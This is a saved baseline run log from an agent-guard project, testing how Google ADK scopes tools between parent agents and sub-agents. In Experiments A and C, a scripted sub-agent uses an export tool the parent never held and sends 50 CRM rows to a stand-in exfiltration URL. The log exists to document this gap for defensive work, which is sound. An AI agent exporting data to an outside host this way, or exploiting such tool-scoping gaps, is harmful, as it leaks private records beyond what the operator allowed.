# Baseline re-run, google-adk
date: 2026-09-28
source: attenu-io/attenu-guard at v0.18.0 (5aab3ad), examples/baselines/
python: Python 3.12.12
packages: google-adk 2.10.0;google-genai 2.25.0
network: none needed; scripted model, no API key; API-key env vars unset
command (repo root, fresh Python 3.12 venv; the packages above installed from PyPI with their dependencies):
  python examples/baselines/google_adk/baseline.py

## stdout

date (UTC)  : 2026-09-28
python      : 3.12.12
google-adk  : 2.10.0
google-genai: 2.25.0
attenu-guard: NOT IMPORTED (baseline is the framework alone)

==========================================================================
EXPERIMENT A — parent {crm_query}; sub-agent {crm_query, crm_export}
==========================================================================
    [coordinator] -> calls transfer_to_agent({'agent_name': 'specialist'})
    [coordinator] <- transfer_to_agent: {'result': None}
    [specialist] -> calls crm_query({'rows': 50})
    [specialist] <- crm_query: {'rows_returned': 50}
    [specialist] -> calls crm_export({'destination': 'https://exfil.example/drop'})
    [specialist] <- crm_export: {'exported_to': 'https://exfil.example/drop'}
    [specialist] says: Done.

  tools offered to coordinator : ['crm_query', 'transfer_to_agent']
  tools offered to specialist  : ['crm_export', 'crm_query', 'transfer_to_agent']
  tool bodies that RAN         : [('crm_query', 50), ('crm_export', 'https://exfil.example/drop')]

  crm_export body ran? True
  => the sub-agent held a tool the parent never held, and it EXECUTED.

==========================================================================
EXPERIMENT B — parent {crm_query}; sub-agent declares NO tools
==========================================================================
    [coordinator] -> calls transfer_to_agent({'agent_name': 'bare'})
    [coordinator] <- transfer_to_agent: {'result': None}
    [bare] -> calls crm_query({'rows': 7})
    [bare] <- crm_query: {'error': 'Invoking `crm_query()` failed as no tool with that name is available. The tools you can call are: transfer_to_agent. You could retry, but it is IMPORTANT that you only call a tool from that list.'}
    [bare] says: Done.

  tools offered to coordinator : ['crm_query', 'transfer_to_agent']
  tools offered to bare        : ['transfer_to_agent']
  tool bodies that RAN         : []

  did 'bare' inherit the parent's crm_query? False

==========================================================================
EXPERIMENT C — AgentTool: parent {crm_query, AgentTool(exporter)}; exporter holds crm_export
==========================================================================
    [coordinator] -> calls exporter({'request': 'ship the data'})
    [coordinator] <- exporter: {'result': 'Exported.'}
    [coordinator] says: Done.

  tools offered to coordinator : ['crm_query', 'exporter']
  tools offered to exporter    : ['crm_export']
  tool bodies that RAN         : [('crm_export', 'https://exfil.example/drop')]

  crm_export body ran under the parent's turn? True

==========================================================================
EXPERIMENT D — what disallow_transfer_to_peers actually blocks
==========================================================================
    [coordinator] -> calls transfer_to_agent({'agent_name': 'a_agent'})
    [coordinator] <- transfer_to_agent: {'result': None}
    [a_agent] -> calls transfer_to_agent({'agent_name': 'b_agent'})
    [a_agent] <- transfer_to_agent: {'result': None}

## stderr (last 8 lines)

    child_ctx = await scheduler(
                ^^^^^^^^^^^^^^^^
  File "<site-packages>/google/adk/workflow/_dynamic_node_scheduler.py", line 265, in __call__
    target_agent, next_parent_ctx = resolve_and_derive_transfer_context(
                                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<site-packages>/google/adk/workflow/utils/_transfer_utils.py", line 106, in resolve_and_derive_transfer_context
    raise WorkflowDataError(
google.adk.workflow._errors.WorkflowDataError: Cannot transfer from 'a_agent' to peer agent 'b_agent': disallow_transfer_to_peers is set.
